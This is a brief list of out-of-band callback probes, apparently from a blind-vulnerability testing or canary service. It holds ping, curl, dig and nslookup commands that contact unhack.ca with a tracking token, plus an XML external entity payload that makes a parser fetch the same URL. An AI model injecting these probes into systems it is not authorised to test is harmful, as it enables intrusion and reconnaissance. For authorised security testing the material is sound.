$ ping -c1 -p 00752aa6ec422733c37908d6641c6000 unhack.ca
$ curl http://unhack.ca/p/752aa6ec422733c37908d6641c60
$ dig 752aa6ec422733c37908d6641c60 @unhack.ca
$ dig 752aa6ec422733c37908d6641c60.ns.unhack.ca
C:\> nslookup 752aa6ec422733c37908d6641c60 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/752aa6ec422733c37908d6641c60">]> <foo>&xxe;</foo>